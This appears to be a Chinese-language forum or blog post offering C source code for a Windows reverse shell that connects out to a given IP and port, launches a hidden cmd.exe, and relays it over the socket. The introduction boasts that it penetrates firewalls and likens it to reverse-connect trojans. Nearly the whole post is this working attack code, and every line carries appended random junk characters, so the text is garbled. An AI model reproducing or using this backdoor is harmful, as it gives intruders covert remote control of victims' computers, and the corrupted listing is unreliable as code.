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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 zY+Fl~$S  
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/* ============================== v+"rZ  
Rebound port in Windows NT 7j7e61 Ax  
By wind,2006/7 `MP|Ovns:H  
===============================*/ kX:tc   
#include Hx$c N  
#include 9;%CHb&  
*c[2C  
#pragma comment(lib,"wsock32.lib") _if|TFw;h  
{2`=qt2  
void OutputShell(); }6 5s'JB  
SOCKET sClient; NrDi   
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @5) 8L/[l  
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void main(int argc,char **argv) J/);"bg_O  
{ $N2SfyX7  
WSADATA stWsaData; 1xf=_F0`&  
int nRet; \n0Oez0z!B  
SOCKADDR_IN stSaiClient,stSaiServer; '2zL.:~  
x( mE<UQN  
if(argc != 3) *]JdHO  
{ ~8|t*@D  
printf("Useage:\n\rRebound DestIP DestPort\n"); :T3/yd62N  
return; p#f+P?  
} AGA`fRVx  
G= ^X1+_  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,a?\M M9$  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /9y aW7w  
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stSaiClient.sin_family = AF_INET; +D#Zn!P  
stSaiClient.sin_port = htons(0); 8&"(WuZ@  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;jK#[*y  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  t4Z  
{ mmw^{MK!  
printf("Bind Socket Failed!\n"); Q '(ihUq*k  
return; +&KQ28r  
} !A8^Xmz"  
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stSaiServer.sin_family = AF_INET; =\)IaZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /W#O +  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3>z[PPw  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +kdySWF  
{ m xw dugr`  
printf("Connect Error!"); "HM{b?N  
return; u!N{y,7W)  
} h06ku2Q  
OutputShell(); I>h<b_y  
} y?[snrK G  
0h$GI"dR  
void OutputShell() )_zlrX  
{ ^C&+ ~+  
char szBuff[1024]; z41_oG7   
SECURITY_ATTRIBUTES stSecurityAttributes; 7=4A;Ybq  
OSVERSIONINFO stOsversionInfo; VVWM9x  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; q&'Lbxc>c  
STARTUPINFO stStartupInfo; e2$]g>  
char *szShell; .V6-(d  
PROCESS_INFORMATION stProcessInformation; gM;}#>6  
unsigned long lBytesRead; XM Vq-8B0  
[AEBF2OIv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); o7&4G$FX~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FqA3  {  
stSecurityAttributes.lpSecurityDescriptor = 0; -U2mfW  
stSecurityAttributes.bInheritHandle = TRUE; sPNfbCOz  
( g :p5Rl  
E(<LvMiCa  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +V v+K(lh$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZeasYSo4P  
$7I] `Jt  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5T4"j;_.BL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sc`"P-J+vp  
stStartupInfo.wShowWindow = SW_HIDE; kR.wOJ7'  
stStartupInfo.hStdInput = hReadPipe; e{G_GycH  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; PX".Km p.  
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GetVersionEx(&stOsversionInfo); go)p%}s  
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switch(stOsversionInfo.dwPlatformId) hQJWKAf,/  
{ >Pe:I  
case 1: P#GD?FUc  
szShell = "command.com"; {7Cx#Ewd  
break; >e5zrgV  
default: Q882B1H  
szShell = "cmd.exe"; t\j!K2  
break; d+z[\i  
} ioIv=qGdiP  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F N"rZWM  
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send(sClient,szMsg,77,0); 5{ >0eFzG  
while(1) Z$K+ 7>^  
{ [j6~}zu@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); [h}K$q  
if(lBytesRead) Oo%!>!Lt,  
{ -oBI+v&  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AfWl6a?T8:  
send(sClient,szBuff,lBytesRead,0); rb_Z5T  
}  :q2YBa  
else K, (65>86;  
{ }(i(Ar-  
lBytesRead=recv(sClient,szBuff,1024,0); Mps *}9  
if(lBytesRead<=0) break; H$!-f>Rxa  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'ND36jHcRD  
} FuP}Kec  
} F%6*Df;cSe  
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return; qR,.W/eS8  
}
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